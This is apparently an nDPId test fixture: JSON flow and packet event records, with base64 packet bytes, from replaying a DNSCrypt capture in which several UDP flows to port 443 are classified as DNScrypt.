+00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":542,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":223,"flow_packet_id":1,"flow_first_seen":946739400460,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":56988,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":543,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":224,"flow_packet_id":1,"flow_first_seen":946739400460,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":50062,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01106{"flow_id":224,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":543,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":460376,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc9\/NAAH4RCGsKAAABucF\/9MOOAbsCCPyL\/IsBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAQAAAAAAAAAAAAHKAAwBxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":543,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":224,"flow_packet_id":1,"flow_first_seen":946739400460,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":50062,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":544,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":225,"flow_packet_id":1,"flow_first_seen":946739400460,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":59354,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01105{"flow_id":225,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":544,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":460415,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcPTVAAH4RwykKAAABucF\/9OfaAbsCCPyL\/I0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAQAAAAAAAAAAAAHKAAwBxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":544,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":225,"flow_packet_id":1,"flow_first_seen":946739400460,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":59354,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":545,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":1,"flow_first_seen":946739400460,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":54920,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02388{"flow_id":226,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":545,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":460524,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcPTYgAH4R32gKAAABucF\/9NaIAbsGBKQ8\/IwBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":545,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":1,"flow_first_seen":946739400460,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":54920,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":546,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":460543,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQPTYAuX4RBDwKAAABucF\/9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":546,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":547,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":227,"flow_packet_id":1,"flow_first_seen":946739400460,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":46314,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02388{"flow_id":227,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":547,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":460550,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcPTggAH4R32YKAAABucF\/9LTqAbsGBMXY\/I4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":547,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":227,"flow_packet_id":1,"flow_first_seen":946739400460,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":46314,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":548,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":1,"flow_first_seen":946739400460,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":47971,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02388{"flow_id":228,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":548,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":460551,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcPTcgAH4R32cKAAABucF\/9LtjAbsGBL9j\/IoBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":548,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":1,"flow_first_seen":946739400460,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":47971,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":549,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":460564,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQPTcAuX4RBDsKAAABucF\/9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":549,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":550,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":460566,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQPTgAuX4RBDoKAAABucF\/9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":550,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00661{"flow_id":223,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":551,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":518584,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"ZmZmZmZmRERERERECABFAADQoahAADYRqAK5wX\/0CgAAAQG73pwAvLKe\/I+BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAANT+QyCeqOpvY3ek9vOTVGrWy3oc27D9SS491oCJRe7RQWKb3q0aPb33Ziq0RP9PPCzRMBy1lW3l6rz74jWgmwszJtIbCS+4i64Fme9c0vB4hxz+sKp41i8d9KRbhVFMbjMm0hsJL7iLAAAAAV9TV8BfVKlA"} +00661{"flow_id":225,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":552,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":519484,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"ZmZmZmZmRERERERECABFAADQoapAADYRqAC5wX\/0CgAAAQG759oAvKli\/I2BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAANT+QyCeqOpvY3ek9vOTVGrWy3oc27D9SS491oCJRe7RQWKb3q0aPb33Ziq0RP9PPCzRMBy1lW3l6rz74jWgmwszJtIbCS+4i64Fme9c0vB4hxz+sKp41i8d9KRbhVFMbjMm0hsJL7iLAAAAAV9TV8BfVKlA"} +00661{"flow_id":224,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":553,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":519729,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"ZmZmZmZmRERERERECABFAADQoalAADYRqAG5wX\/0CgAAAQG7w44AvM2w\/IuBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAANT+QyCeqOpvY3ek9vOTVGrWy3oc27D9SS491oCJRe7RQWKb3q0aPb33Ziq0RP9PPCzRMBy1lW3l6rz74jWgmwszJtIbCS+4i64Fme9c0vB4hxz+sKp41i8d9KRbhVFMbjMm0hsJL7iLAAAAAV9TV8BfVKlA"} +00662{"flow_id":226,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":554,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":520977,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"ZmZmZmZmRERERERECABFAADQoatAADYRp\/+5wX\/0CgAAAQG71ogAvLq1\/IyBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAANT+QyCeqOpvY3ek9vOTVGrWy3oc27D9SS491oCJRe7RQWKb3q0aPb33Ziq0RP9PPCzRMBy1lW3l6rz74jWgmwszJtIbCS+4i64Fme9c0vB4hxz+sKp41i8d9KRbhVFMbjMm0hsJL7iLAAAAAV9TV8BfVKlA"} 